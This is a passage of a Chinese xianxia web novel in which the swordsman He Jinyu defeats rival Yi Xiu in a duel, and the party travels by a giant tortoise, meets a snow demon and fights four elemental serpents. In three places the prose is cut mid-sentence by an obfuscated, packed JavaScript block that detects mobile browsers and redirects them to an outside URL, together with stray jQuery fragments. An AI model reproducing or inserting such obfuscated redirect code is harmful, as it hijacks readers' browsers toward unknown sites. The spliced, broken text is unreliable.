看那身服饰,景怀卿觉得很是眼熟。
那一行大约五六人,似乎也发现他们的马车,于是远远地朝他们跑了过来。
为首那人很是俊朗,身材壮硕,一身红色劲装,在这冰天雪地里略显单薄。
景怀卿猜测他们是修士,寻常人在这个气候早已冻得瑟瑟发抖,为首那人越看越眼熟,就在他几乎要想起来他是谁时,那人忽然开口:
“来者何人!”
马车里头的祝来月等人察觉到车已停下,又听到外头的动静,贺今羽便拉开帘子查看情况。
这不看不要紧,一看,为首那人顿时挑起眉毛,指着他说:“贺今羽!你怎么在这里?”
贺今羽只是觉得他眼熟,却想不起他是谁。
这时,景怀卿已经想起他的身份,便对贺今羽说道:“是震云派的羿修。”
这个名字贺今羽再熟悉不过了,他不搭理对方,垂下帘子,“我们继续赶路。”
景怀卿闻言正准备向震云派那一群人抱拳道别,尽管灵霄宗与震云派关系可以说得上是剑拔弩张,但表面功夫还是要做好。
谁知羿修突然出了一拳,震断了马车左边的车轮,整个车顿时朝一边倾斜,车内传来一声惊叫。
“途经我震云派地盘,如此简单就想走了?”
第一个从车内钻出来的人是聂棋缘,她飞快地跳下马车,指着羿修的鼻子道:“你们震云派好歹自诩名门正派,竟然还做拦路抢劫的苟且之事!我呸!”
羿修想是没料到车内不只有贺今羽一人,顿时红了脸,支吾抱歉道:“抱歉,我不知道……我就是想为难一下贺今羽。”
祝来月下车后便去查看了车轮的情况,她眉头紧皱,车轮的情况不好,几乎整个裂开了,必须换一个新的才好。
可这方圆几里全是一片白茫茫的雪地,哪里有卖车轮的?
“你两年前败给贺大哥,就这么不服气,还要刻意刁难他?”聂棋缘根本不听他的抱歉,瞪着眼睛看着他。
不错,这羿修不是别人,正是两年前在争鸣大会上输给贺今羽,目前居于争鸣榜第二的震云派下一任掌门人。
祝来月查看完车轮情况后上前,对着羿修说道:“羿公子,我们的车被你破坏,想必震云派不会连一辆马车都赔不起吧?”
“那是!别说一个车轮了,就是赔你们一辆新的也无妨。”羿修面色很是得意,鼻子里哼哼地出气,话锋一转,“但我有个条件。”
“你弄坏我们的东西还好意思谈条件?”聂棋缘闻言又来了气,一旁的祝来月伸手去拉住她的胳膊,示意她听他接着说下去。
“哼。”他看到聂棋缘被制止,便指向贺今羽说道:“我要他和我打一架,他若是胜了,我自然会叫人带一辆新的马车来,但他要是败了,你们都要留下,跟我回震云派。”
他说完后,聂棋缘不禁笑出了声,“你这人真是不自量力,贺大哥能赢你一回就能赢第二回。”
但除她以外的祝来月他们却都笑不出来。
下山至今还不足半月,贺今羽在风摇尽受的伤也没好彻底,所以他们才没有御剑,而是挑了一匹好马驱车寻人。
羿修之名同样是响彻江湖,即使两年前是贺今羽胜了,也不过是险胜,何况如今贺今羽带伤,要胜过他很难。
“羿少侠,我代替他和你比试,如何?”景怀卿回应道。
祝来月略有些担忧地看向贺今羽,她明白以他的性格,不可能让任何人代替他去比试,更不可能言败。
果然不出她所料,景怀卿的话音刚落,贺今羽就出声反驳了他的决定:“不用。”说罢,他抽出藏于剑鞘内的白羽剑,毫不犹豫地往旁边走了几步,到了一片空地之上。
羿修也不甘其后,跟着走了过去。
祝来月和景怀卿无疑是很了解贺今羽的,知道再劝无用,只能默默期盼他能够赢下这场比试,期盼奇迹能够出现。
不知情的聂棋缘倒是很激动地替他加油。
此时天空一片湛蓝,万里无云,极好的天气。
两人相对而立,都露出一副坚定不移的神色。
一旁跟着羿修的那群震云派弟子都在一旁替羿修加油。
“师兄加油!揍倒灵霄宗那帮子假清高
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840353|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的!”
“师兄加油啊!”
“灵霄宗的人惨了,这两年师兄可是拼了命修炼,那实力绝对是突飞猛进的!”
聂棋缘听了,立刻冲他们喊道:“吵死了!闭嘴,谁输谁赢你们等着瞧吧!”
即将开战的两人无心听那些议论,只是紧紧盯着站在对面的对手。
一个是天下第一宗的少宗主,争鸣榜第一,两年前的赢家,身负重伤。
另一个是与灵霄宗势同水火的震云派未来的掌门人,争鸣榜第二,两年前的败者,状态完美。
他们的家世关系便注定了他们要互相斗争一生,没有一个人可以认输,不死不休。
这不仅仅是个人的输赢,而是关系到宗门地位,若是贺今羽败了,天下第一宗的宝座不日就要再度回到震云派手上。
而站在羿修的立场上则是同样不能再败,两年前输了,这一回绝不能输。否则门派在他这一代几乎没有可能再次成为天下第一宗。
白羽剑似乎能体会它主人那不屈不挠的意志,在他的手中微微颤动着,跃跃欲试。
而贺今羽只是站在原地,沉稳地等待着对手的出击。
正如他对羿修的了解那般,羿修总是迫不及待地出手,他的手掌紧握成拳,一道强悍无比的灵气直冲而来。
一上来就用上了灵气。
看来这羿修真是好胜之心难以遮掩。
此拳来势汹汹,贺今羽猛地向上跃起,忍受着伤口处传来的剧痛,佯装淡定地躲过了第一拳。
那些伤口才愈合不久,此时猛烈地动弹,许多地方已然再度开裂。
他举起手中的白羽剑,以灵气灌输其中,顿时,白羽剑和他散发出同样的气息。
剑随意动,人剑合一。
他的剑法总是在一瞬之间解决对手,唯独对上旗鼓相当的对手才会多用上几招。
而羿修绝对算得上是一个旗鼓相当的对手。
贺今羽闭上眼,竟然浮在空中静止不动了。
这在羿修眼中简直是一个靶子,果然,他大笑一声,同样跃起至一个高度,又是一拳击出,这一拳几乎破开空气,四周之空顷刻间产生了极大的撕扯感,甚至扭曲。
旁观的几人都不禁为贺今羽倒吸一口凉气。
要知道,震云派上下都一根筋,没有灵霄宗那么多花里胡哨的招式,一招拳法走遍天下。
而能将这一拳发挥至如此境界的,即便翻阅整个震云派的历史,也找不出几个。
这一拳名为震云拳,练至顶尖处甚至可以震碎无形之云。而羿修这一拳竟然已经隐隐可以撕裂空间,照目前的情形看来,他将震云拳练至大成之境,至多十年。
羿修今岁二十有一,十年后三十一岁,能在三十左右达到这个境界的,至今唯有一人——七百年前的天才少女羿无烟。
面对眼前这招似有毁天灭地之势的拳法,贺今羽没有躲。
他脑海中的意念一动,白羽剑便随着动起来,瞬间从他的手中飞出,刺向那刚猛的拳力。
这一招快到几人都看不清剑影,只是忽然觉得周身被刺骨的严寒包裹,哪怕修行之人不惧酷暑严寒,也还是不禁打颤。
鹤栖剑法二篇第二式。
霜寒十四州!
33. 震云
你羿修苦练两年,我贺今羽这段年月难道会荒废度日吗?
这一剑刺出,百里之内顿时降下大雪,当这冰冷锋利的剑意刺穿那一道拳劲时,羿修整个人向后飞了出去,重重地落在地上,他身前的一片纯洁无秽的雪地上出现一块鲜艳的血红。
羿修被他的剑意击败,口吐鲜血。
按照贺今羽的性子,能在他手上过上两招的已是旗鼓相当。两年前他还能和贺今羽打两三个回合,今日却败于一剑。
他怎么甘心?
羿修实在很想再站起来,和他再比下去,可是身上已然没有一点力气,又痛得厉害。
他拼尽全力也只能抬起头,去看那个两次打败他的人,却看到那人同他一样自天空坠落,摔在地上,没了动静。
震云派的几人冲到羿修身边将他扶起,而祝来月等人也是第一时间就冲向了贺今羽。
他们连忙往他嘴里塞治伤的丹药,聂棋缘一头雾水,着急地问他们:“贺大哥不是没有被打中吗?怎么会伤成这样?”
说话间,他身上那件玄色衣衫已然变得有些濡湿,祝来月伸手去摸胳膊上濡湿的那一块,再看手心时,上面赫然是猩红的血液。
她只能叹气,转头对景怀卿说:“景大侠,麻烦你将他送到马车上,他的伤口再度开裂,必须尽快包扎。”
景怀卿点头,将贺今羽扶到马车上。虽然马车已然倾斜,但好歹还算结实,景怀卿放下贺今羽出来后,祝来月和聂棋缘一同进了马车内为他包扎。
自天空飘落的雪落在众人的头上,久久不化。
羿修在众弟子的搀扶下找到景怀卿,问道:“他怎么回事?难道你们灵霄宗的人竟然练邪道道功法吗?伤人先伤己。”
景怀卿:……
唉,这一根筋的震云派之人。他好气又好笑地说道:“灵霄宗绝无可能行邪道之法,今羽他身上本就有伤。”
“也是,你们整个宗门上下都自视清高,自然不会做那些事。”羿修觉得颇有道理般点点头,忽然,他像是终于反应过来般,“等等,你是说贺今羽本就身受重伤,就这样我还打不过他?!”
羿修忽然觉得身上的痛也算不上什么了,只因他的心更痛。
尽管他觉得身心都受到了一万点伤害,还是遵守约定安排弟子回震云派去带一辆马车来赔给他们。
祝来月她们替贺今羽重新包扎好以后,就从马车里出来了,这时那名回去找马车的弟子也回来了,只不过没有看见马车的身影。
羿修便问他:“马车呢?”
“师兄,门中马车都带出去了。掌门带着好多弟子去邻城参加庆典了。”
羿修这才想起,父亲嘱咐他巡逻门派所在的霜鸣原,是因为近些天他都不会回门派,诸位师姑师叔也不在门派中,皆要去参与邻城的冰戏节。而他对冰戏节毫无兴趣,于是主动要求留下守卫门派。
他一拍脑袋:“哎呀,我怎么忘了这茬。”他不好意思地对他们说道:“要不这样,你们和我回去暂住几日,等父亲他们回来了,马车随你们挑。”
“可我们有急事啊。”聂棋缘无法忍受,上前指着他的胸口,“你今天必须解决这事。”
羿修苦思冥想,终于想出一个法子,“有了!门中还有一头我的坐骑,可以承载数人,但我不能给你们。”话锋一转,他又说道:“不过我可以带着你们。”
“你要和我们一起走?”祝未璃皱眉思索这事究竟是好是坏。
灵霄宗和震云派的关系尴尬,难保这位掌门之子在路上会不会偷偷使绊子,贺今羽他们自然是不愿意带上羿修的。
但祝来月反应得很快,她立刻回答道:“可以。只是羿公子离开门中,无人看守震云派,掌门不会责怪你吗?”
“没事啊,我们震云派没有一个弟子是吃素的,哪像你们灵霄宗广招弟子,质量参差不齐。”
几人懒得理会他的讽刺,眼下最重要的还是要找回失踪的祝未璃她们。
“不过我那坐骑脾气火爆,他们不能将它牵来,所以你们还是要和我回震云派一趟。”
好在他们已经处在震云派的势力范围之内,霜鸣原上,所以去往震云派不算太远。
众人跟着羿修一行人行走约莫半日便来到了震云派。
震云派的规模比不上灵霄宗,取精益求精之道,从外头看,倒像是一个小城池。
大门外边站着两个看守的弟子,一见羿修,立刻冲上来喊道:“师兄你回来了!”
他们也很快注意到羿修他们后面跟着四个陌生人,两位女子倒是认不出身份,但贺今羽和景怀卿他们在两年前的争鸣大会上曾经见过,所以立即问道:“师兄,你怎么把灵霄宗的人也带来了?”
说着,贺今羽一行人能明显感受到他们对自己的排斥之意。
羿修对他们随便糊弄了几句就带着几人进了震云派之内。
这座小城池内有一片林子,饲养着几头灵兽,几人来到林中,没走多久便能听见阵阵兽吼,祝来月不禁对他的坐骑有了几分期待。
江湖中能御兽的门派唯有震云派一家,而作为震云派的少主,想必一定拥有一匹极其威风的猛兽作为坐骑。
只听羿修大喊一声:“旋风!”
众人正为这听上去很是厉害的名字意外时,不远处的池塘泛起了涟漪。又过了一会儿,一只通体墨黑的大龟从池塘内悠哉悠哉地爬了上来。
就在众人震惊地反应眼前的情况时,那只大龟以极缓慢的速度朝着羿修的方向前进着。
乌龟……?!
乌龟和旋风两个字到底哪里有关联了?难道是反讽吗?
一行人被震撼得说不出话来。唯有祝来月盯着旋风看了好半晌,才缓缓地问道:“羿公子,你的坐骑莫非是传说中速度奇快的玄捷龟?”
羿修闻言,眼睛一亮:“姑娘好识货,正是玄捷龟。”他又看向贺今羽他们眉毛紧缩的模样,不禁不屑地哼了一声。
要知道玄捷龟可是千金难求,他费了好大力气才从妖界的雾雪山脉抓回来的。光是进入妖界就已经十分不易,何况这玄捷龟在妖界也是十分稀有。
灵霄宗的人果然大多是一群剑痴,除了剑法什么都不懂。羿修暗自腹诽了几句。
那只名叫“旋风”、传说中速度很快的黑色大乌龟终于爬到了它的主人身边,亲昵地蹭蹭他的裤腿,模样像极了一只狗。
聂棋缘不禁问道:“这真的跑得快吗?”
羿修立即回答道:“当然!绝对比你们的马车要快得多。”
玄捷龟拥有灵性,想是听出了她言语中对它的不信任感,于是朝着聂棋缘冷哼了一声,倒是很像它的主人。
“好吧,姑且信你一回,既然有了坐骑,事不宜迟我们现在就出发吧。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840354|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
聂棋缘催促道。
“这位小姐,请你看看现在是什么时辰好吗?”羿修不可置信地指着西边即将坠入地表的太阳,“夜里的霜鸣原是很危险的。”
“修行之人岂可言惧?莫非你震云派之人皆胆小如鼠,怕黑不成?”聂棋缘的双手环抱于胸前,对他的话有些鄙夷。但最主要的还是想要找回姐姐的心太过迫切,实在忍受不了一夜的停步。
羿修显然是很吃激将法这一套的,顿时来了兴致:“好,走就走!到时候出了事,我倒要看看是谁第一个怕!”
既然羿修都言明要立即出发,剩余的几人自然也没什么意见,总之一路小心些就是了。
倒是震云派其他的弟子们在得知羿修要夜里出行时,纷纷前来劝阻。
可羿修正在兴头上,哪听得进去这些?他收拾了些行李,又备了几条厚毯子,以防夜里寒冷。
虽然修行之人可以用灵力抵抗严寒,但多穿些总是能省些气力。
万事俱备,一行五人和一只乌龟背对着震云派的大门,意气风发地准备出发。
原先几人对旋风持怀疑态度,但当它驮起众人在雪地里不仅跑得飞快,还十分稳当时,便统统打消了这种顾虑。
其余的情况亦不出羿修的预料,夜里的霜鸣原堪称刺骨之寒,几人纷纷裹在厚厚的大毯子里边儿。好在旋风自小生长在终年覆雪的雾雪山脉,其厚实的皮肤能够轻易地应对严寒。
聂棋缘在厚毯里打了个冷颤,说道:“真是个怪异之地,分明是七月酷暑,偏偏如此寒冷。”
羿修、贺今羽和景怀卿皆因修为高深,且自小也是生长在温度普遍偏低的环境中,所以还算适应。
但祝来月显然就没那么好受了,一是因为她的修为不足,二是她生长的止吴山是个冬暖夏凉的好地方,所以并不适应这样极端的气候。
她的面色有些苍白,此时一言不发,避免消耗更多的热气。
贺今羽自然是第一时间就注意到了她的异常,他默默地挪到祝来月的附近坐着,然后暗中给她渡些灵力,使她能够暖和一些。
但她察觉到贺今羽的举动时,立刻转头对着他摇了摇头,示意他不必如此。
毕竟他旧伤未愈,又加上白日同羿修切磋又添了新伤,实在不适合再动用不必要的灵力。
一旁的聂棋缘十分敏锐地注意到了这一点,立刻提议道:“好冷啊,不如我们抱团怎么样?”
羿修又立马接道:“好啊!”不过他是很不愿意和灵霄宗之人靠得太近的,这个聂棋缘又处处呛他,唯有祝来月,不仅体贴温和,还认识他的宝贝旋风。这样一想,他立刻往祝来月身边凑。
谁知聂棋缘以迅雷不及掩耳之势钻在了他们之间,隔开了两人。
“你!”羿修十分不解又有几分气恼地将手从毯子里伸出来指着聂棋缘,但很快又因为冷风刺骨再次缩了回去。
聂棋缘根本懒得搭理气急败坏的羿修,而是朝着祝来月的方向挤了挤,还对她说:“哎呀祝姐姐,我们凑近一点嘛。”
因为她的动作幅度较大,祝来月来不及反应就被这股不大不小、把握得刚刚好的力度推进了贺今羽的怀里。
两人间的距离只剩下那张厚厚的大毯子,祝来月的头顶撞到了贺今羽的下巴,他却丝毫不喊疼。
只是一瞬间呼吸骤停,反应着钻入鼻腔的那缕淡淡的桃花香气。
34. 大雪
祝来月迅速地坐正,并且对贺今羽说了句抱歉。只是可惜她并未抬头,否则便能瞧见他脸上与那张冷峻的脸不太相称的一抹浅红色。
另一头的景怀卿也明白了这样的状况,不甘示弱似的默默将贺今羽往祝来月那边挤。
但贺今羽总是不动如山似的坐着,永远与她保持着那一分距离。
两人的助攻和他暗藏的羞意,唯有羿修和祝来月还蒙在鼓里。尤其是羿修,十分认真地观察着四周的情况,以免突生异动时来不及反应。
就在贺今羽犹豫着究竟是稍微再靠近一些,还是保持原样时,祝来月却朝着他贴了上去。
也许是出于礼节,祝来月向他解释了一句:“这样没那么冷。”
他用只有两人可以听见的声音轻轻地“嗯”了一声,此刻虽然漫天寒风,不知为何,两人的脸都开始有些滚烫起来。
但这样温情脉脉的时刻并未持续太久,天地之间忽然飘起了鹅毛般的大雪。与漫天飞雪同时出现的是一股若隐若现的妖气,原本用作指路而发出光亮的白羽剑忽然闪烁了几下,接着便失去了方向,它像是走进一条死胡同一般开始在龟背上来回打转和发出闪烁不定的光芒。
在几人照明用的小灯的照亮下,眼前几乎被密密麻麻的白雪覆盖,看不清一丝路径,雪竟然不再像雪,而是一场大雾。
旋风停住了脚步,因为它也无法再辨认方向。
一行人顿时无心玩闹,全都提起了警惕。
羿修一边运转灵力提前准备对敌,一边还和他们解释道:“霜鸣原夜里会有一些妖怪作乱,虽然大多没有伤人之意,但夜里经过此地的人极容易迷失方向,最终在茫茫雪地里冻一夜。但我们要是运气不好,可能会遇上它。”说到此处时,一向大大咧咧的羿修也不禁凝重了几分。
“它?”聂棋缘问道。
“一种雪妖,生于雪原,附着于雪上,以修士的灵力为食。”
沉默着的祝来月忽然开口,“莫非是灵蚀雪妖?”
“诶?你怎么什么都知道?”原本他还想再卖卖关子,却被她一语道破,很是吃惊地看向她。
就这一瞬的走神,几人身下的旋风忽然被一股妖力掀翻,五个人齐齐飞了出去。
贺今羽反应奇快,在空中一个转身便接住了祝来月,抱着她稳稳地落地。
剩下的三人就没这么舒坦了,景怀卿原先也反应过来了,正欲旋身落地时,却和羿修、聂棋缘两人在空中相撞,三人齐齐落在雪地里。
祝来月连忙起身,“多谢。”
这边一片安静祥和,而另一边的倒霉三人组却十分热闹。
首先是聂棋缘吃痛地爬起来,对着羿修说道:“你不是天下第二吗?怎么反应还不如景大哥?”
羿修挠挠脑袋,震云派之人以炼体为主,所以肉身强悍,即使飞出十余米也未受伤。与之相对的是,震云派之人显然反应较为迟钝一些。
他们一一起身过后,才发现由于大雪的掩盖,导致他们不仅看不见旋风,甚至也看不见祝来月他们了。
而祝来月那边亦是如此。
她起身后,四下张望,那盏小灯不知被打落到何地,今夜又没什么月光,能看见的范围只有茫茫一片白雪。
“景大侠?聂姑娘?羿公子?”她试探性地喊了几声,却无人应答,她的呼唤消失在冰冷的雪夜里。
而周围的妖气却愈发浓烈,甚至将二人包围。
为了避免再次走散,祝来月和他靠得很近。他们试图借助白羽剑与那流星坠之间的感应再次辨认方向,结果不出意外地失败了。
那股妖力影响了方位,不仅仅使人迷失,连灵器都无法避免。
二人一致决定待在原地,以不变应万变。
而那妖气的源头仿佛也很有耐心,既不主动现身去攻击他们,更也未曾退去。
要比耐久的话,二人是绝胜不过雪妖的。
祝来月显然十分惧怕严寒,尽管她身上多少是有些灵力的,但她甚至比普通人在这种情况下显得还要更严重些。
连她自己也说不清缘由,幼时虽然厌恶冬季,却也不至于如今这样夸张。
她只能尽力运转体内的灵力,使自己至少不会因失温而昏厥。
凛冽的寒风刮得人脸颊都生疼,身上厚厚的冬衣也只能说是聊胜于无。祝来月忽然有些怀念止吴山,即使在最冷的腊月,那里也比眼下要温暖许多。
因为祝来月拒绝接受贺今羽的灵力,两人只能紧紧靠在一起取暖。
虽然他的性子冷了些,但身上总是暖的。
忽然,一阵雪花聚在一起朝着两人迎面扑来,在穿过两人的身躯那一瞬,他们顿时感受到体内的灵力竟然不受控制般的朝外泄漏出去。
但很快,另一件让人意想不到的事就发生了。
不远处的一团雪花中忽然冒出一个人影的形状,它向前一倒,姿势很像是受了重伤后的苟延残喘。
紧接着,那些被它吸走的灵力顷刻间又回到了二人身上。
祝来月他们还没来得及思考究竟是什么情况,那个人影忽然幽幽地说了句:“你们究竟什么来历?灵力竟然不受我控制。”
这下祝来月终于可以确定它就是灵蚀雪妖了。她起初以为是贺今羽动了手,才会导致雪妖被自己吸收的灵力所伤。
但雪妖接下来的一句话却让她陷入了沉思。
“你身上的不是灵力,是我讨厌的一种力量。”雪妖在说这句话的同时,瞬移到了祝来月的身前。
传说中能轻易夺走修士灵力的灵蚀雪妖近在咫尺,可眼前分明只是一团风雪,隐隐形成一个人影,却无实体。
她鬼使神差般地脱口而出道:“什么力量?”
雪妖呸了一声:“我为何要告诉你?”
话音刚落,雪妖就消失在两人的跟前。
风雪不知从何时起竟然缓缓地停了。祝来月终于松了一口气,随着眼前可见度的增加,他们看见了一只黑色的大乌龟,上边驮着熟悉的三个人。
原来雪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840355|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妖虽然能干扰灵力之间的联系,也可以利用大雪封闭诸人的视觉,但旋风的嗅觉却没有因此而受到影响。
它本就是雪山里长大的妖怪,在雪地里,玄捷龟的嗅觉和它的速度一样都是最好的。
这也难怪羿修要耗费大量心血亲自前往妖界捉一只回来了。
五人一龟汇合之后,天边渐渐升起太阳,破开了一片灰蒙蒙的天空,金黄色的朝阳照在所有人的身上。
时间就在不知不觉中流逝了。
白日里要赶路就容易得多了,但旋风却默默地闹别扭,不肯跑得快一些。
原因无他,旋风困了,也饿了。
但一般来说玄捷龟都是具有非常强的耐力的,可以坚持三四日不歇不进食。
祝来月于是就这点提出了疑问,羿修答得也很快:“旋风可不是资质不如其他的玄捷龟,只是旋风太有想法,想休息时我也劝不动。”
“那就是不听话嘛。”聂棋缘说道。
突然,她灵机一动,对着旋风失去干劲的头颅说道:“看来所谓的玄捷龟也不过如此嘛。”她一字一顿地说着,像是生怕旋风听不懂或者听不清似的。
话音刚落,几人身下忽然猛地一震,旋风如同离弦之箭一般窜了出去,他们甚至差点因为没坐稳而被突然加速的旋风甩了出去。
当他们适应下来旋风的高速移动时,聂棋缘满意地笑道:“果然随主人。”
这激将法无论是用在羿修身上还是他的坐骑旋风身上,都是十分管用。
没有了夜晚时雪妖的阻碍,白羽剑再次为几人指明了方向,旋风也随着这个方向狂奔而去。
但旋风越是前进,羿修的心情就越是沉重。
景怀卿注意到他似有心事,便问道:“羿公子可是有什么顾虑?”
羿修竟然半晌未回话,好半天,他才望着旋风前进的方向说道:“希望是我想错了。”
“羿公子若有问题但说无妨。”
景怀卿如此表示之后,羿修才叹叹气,说道:“倒不是什么大事,只是这个方向让我想起一个地方,我震云派的禁地。”
几人不禁感叹这震云派小小的一块地盘怎么有这么多禁止的事,尤其是聂棋缘表现得极为明显,她好奇地问他:“什么地方?”
“震云派离妖界很近,所以多有妖物作乱,我说的禁地,其实就是妖界与人界的交界处。应当是妖界的一个入口,只是那里相较于其它入口要更危险,也就成了禁地。”
他还补充了几句关于那个地方的危险性,例如曾经仅仅只是靠近的弟子们也无一例外地消失了,又例如有人曾经目睹那里有四个巨大到绝非人影的身形出现。
经过他的一番描述,祝来月反倒起了浓厚的兴趣,于是追问道:“什么样的身形?两界交界处应当是没有生灵可以居住的,这禁地可有名称?”
羿修认真思考了一会儿,才说道:“具体是什么样的身形我也不太清楚,也许只是妖物经过时被人看见吧。至于名字……好像是轩辕丘?”
35. 神丘
如果羿修所言无虚,那么他们前进的最终目的极有可能是妖界某处。
那么祝未璃和聂琴机的情况就不得不让人更加忧心了。
几人都怀揣着沉重的心情坐在旋风那宽大坚硬的龟背上,仔细观察时,发现它的龟背墨黑发亮,甚至有些接近某种玉石。
祝来月大约了解过玄捷龟以龟背之色泽、行驶之速来划分优劣。一般的玄捷龟的龟背呈现深褐色或者深绿色,颜色越深便越是稀罕,妖岁也越高。
而像旋风这样黑得发亮、速度又迅捷的诚然是玄捷龟中的上上乘。
所以羿修才这样珍视这只大乌龟。
就在众人皆因前往之地而心情沉重时,祝来月忽然说道:“纵使那轩辕丘再险峻,我亦无惧无悔。”说完,她扬起嘴角,眸中明亮动人,是她一贯的自信。
她的无畏也感染了其余的人,羿修听完她说的话之后,立刻瞪大眼睛,兴奋地说道:“对!就该这样!其实我也早就想去看看那禁地了。”他脸上的沉重一扫而光,取而代之的是对轩辕丘的好奇。
根据白羽剑所发出的光辉,旋风继续往北边飞驰。
以旋风的速度疾驰了大约半日有余,众人正在龟背上啃着干粮充饥时,景怀卿便察觉了几百米外有一座奇大的山,在群山之间显得格格不入。
只因它不仅不与群山相连,形状也是叫人见之难忘。
那是一座四四方方的高山。
若非此山大到绝无可能是人工筑成,它规整的形状实在很难让人相信是天然而成。
羿修是远远地见过这座大山的,但父亲向来最不允许他靠近轩辕丘,即使他的父亲为人随意又狂放,唯独在这件事上丝毫不让步。
不知为何,越是靠近这座奇诡之山,祝来月的心中便越是躁动,连她都有些冷静不下来。
她起先以为只是内心不够平静便没太在意,直到旋风在轩辕丘的十余米之外停下来,她清晰地感受到这种躁动甚至影响到了她经脉之中的灵力。
聂棋缘察觉到祝来月神色的异常,便问她:“祝姐姐,你没事吧?”
祝来月一边摆手表示无妨,一边盘腿而坐,闭上眼尝试抚平灵力的躁乱。
“你们在原地留守,我们先去打探。”贺今羽说道。
聂棋缘闻言点头,与祝来月和旋风一起在轩辕丘附近警戒。
其他的三人则是从龟背上跃下,往前去打探虚实。
贺今羽和景怀卿纷纷抽出佩剑,同羿修小心前进着。
靠近轩辕丘时,贺今羽手中的白羽剑微微震颤着,仿佛感受到一股危险的力量正在靠近似的。他察觉出白羽剑的兴奋与不安,向手心汇聚灵力,再缓缓引入白羽剑之中。
这座轩辕丘除了形状与普通的大山相差迥异,其余都是一样,比方说这座四方的大山上也被葱郁的植被覆盖,看上去竟然有些生机勃勃。
走到山脚处,三人发现这轩辕丘上有一条小径,上面铺上了平整的石砖。石砖的年份大约有些久远了,所以长了不少青苔,但却没有一片枯黄的落叶在石阶之上。
看来轩辕丘并非一座荒山。
羿修走在最前头,正要踏上第一块泛着青绿的石阶时,景怀卿提醒他:“小心,可能有陷阱。”
他拍拍胸脯:“有陷阱也没事。”说着,便第一个正式走进了轩辕丘的地界。
然而当他的脚刚刚踏上那块寻常的石阶时,异象突生。
从轩辕丘那片由无数棵高大的树木组成的茂密森林中窜出了四条巨大无比的大蛇。
那四条大蛇颜色各异,约有五六人环抱那样粗壮的腰身,长度更是令人胆寒,因为只能看见它们的前半部分,末尾处仍旧隐藏在那片森林之中。
四蛇出现时,周遭的空气乃至灵力波动顿时紊乱,甚至刮起了一阵猛烈的飓风,几人的衣服在这阵风里翻飞舞动。寻常人哪怕只是要在这样强烈的风中站立都几乎是不可能的事,但他们三人依旧站在原地,与虎视眈眈的四条巨蛇无声地对抗。
“莽夫。”
贺今羽冷哼一声。
就是用膝盖想也知道他此言讽刺的是哪位。
“假清高。”
被讽刺的这位也毫不示弱,立刻回怼道。
“害怕你就赶紧跑吧,我可不怕区区几条臭虫!”羿修又补充道,他一边说着,一边猛地朝其中一条巨蛇挥出一拳。
这一拳并不比昨日他与贺今羽切磋时用的拳意要弱,甚至更强上几分。
那些被四蛇卷起的飓风此刻竟然随着他的拳势猛地涌向那条赤红色的巨蛇,刚猛的力道竟然使风云变色,原本晴空万里的湛蓝天空一瞬间阴沉下来。
换了旁人恐怕挡不住他的一招。
但事与愿违,赤蛇猛地一缩蛇身,藏于森林中的尾巴顿时暴露无遗,它一甩那越到末尾便越是纤细的蛇尾,那招刚猛的拳意竟然无声无息地消失在空气之中,显得毫不费力。
那四只蛇齐声说道:“愚蠢的人族!”
四蛇的鳞片在此刻灰暗的天空之下依旧锃亮,只要微微扭动蛇身,它们浑身的蛇鳞上反射的光便随之改变。
蛇音刚落,它们顿时挪动蛇身,形成了一个诡异的阵型。
赤蛇与另一只靛蓝色之蛇张大蛇口,露出里面尖锐无比的蛇牙,嘶嘶地吐着蛇信,竖瞳中凶光闪烁,自血盆大口中分别吐出了炽烈的火焰和滔滔之水流。
剩余的两只蛇分别是棕黄色和月白色,棕色之蛇以蛇尾猛击地面,三人脚底下的地面瞬间突起好几根巨大的地刺,他们反应迅速地避开这些地刺后,紧接着便是那条白蛇旋转蛇身,唤来一阵飓风直直冲向才刚落地的贺今羽他们。
他们不敢大意,纷纷出手与四蛇抗衡。
四蛇分别拥有地、水、火、风四种能力,且皆可比拟顶尖修士的水平。
不远处的聂棋缘自然不可能不注意到他们与四蛇之间激烈的战斗,一边想要去帮忙,一边又不能将打坐调息的祝来月独自留在原地,只能在旋风的背上跺着脚干着急。
旋风默默:就欺负我不会说话。
即使闭着眼,祝来月也能感受到那场战斗的所带来的波动,但经脉中的灵力却躁动得愈发厉害,即使她太想要出一分力,也无可奈何。
轩辕丘山脚下的战斗中,三人渐渐处于劣势,她感受到情势不妙,眉头紧锁,食指指尖嵌入掌心,微微泛白。
